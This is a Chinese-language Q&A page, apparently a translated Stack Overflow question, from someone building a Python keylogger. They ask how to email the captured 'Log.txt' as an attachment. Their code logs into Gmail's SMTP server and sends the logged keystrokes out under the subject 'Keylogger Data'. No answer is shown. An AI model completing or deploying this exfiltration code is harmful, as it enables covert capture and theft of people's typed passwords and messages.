python - 如何使用 Python 将“.txt”文件附加到电子邮件中?
问题描述
我陷入了一个问题。基本上我正在为 Python 构建一个键盘记录器,它将捕获的数据发送到某个电子邮件。截至目前,键盘记录器将数据作为我不太喜欢的电子邮件中的消息发送。我将数据保存在路径文件夹中的“Log.txt”文件中,我想将“log.txt”文件作为邮件附件发送。我检查了其他用户面临的几个类似问题,但似乎没有什么对我有用。请帮帮我!
def send_email(self):
with open(folder, "r") as file:
data = file.read()
server = smtplib.SMTP("smtp.gmail.com", 587) # define server
server.starttls()
server.ehlo()
server.login(sender_address, sender_password) # login
email_message = EmailMessage()
email_message["From"] = sender_address
email_message["To"] = receiver_address
email_message['Date'] = formatdate(localtime=True)
email_message["Subject"] = "Keylogger Data"
email_message.set_content(data)
server.send_message(email_message)
server.close()
self.start_time = time.time()
解决方案
推荐阅读
- c# - 向 DocumentViewer 显示 Tiff 图像时出错(WPF,C#)
- c# - 在 .NET Framework 应用程序中将测试指定为构建目标
- docker - Web 容器和 docker 有什么区别?
- php - PHPMailer 向每个用户发送 3 次电子邮件
- python - 如何防止用户在已登录时访问 django 中的登录页面?
- javascript - 按值查找选择索引|文本
- apache - 如何在现有的 apache 2.2 SSL、centos 上添加 nginx
- jquery - ajax中带有来自Jquery的两个元素的循环数组Json - 已解决
- ruby - ruby 类和对象 - 不同的比较方法
- javascript - 悬停时弹出特定元素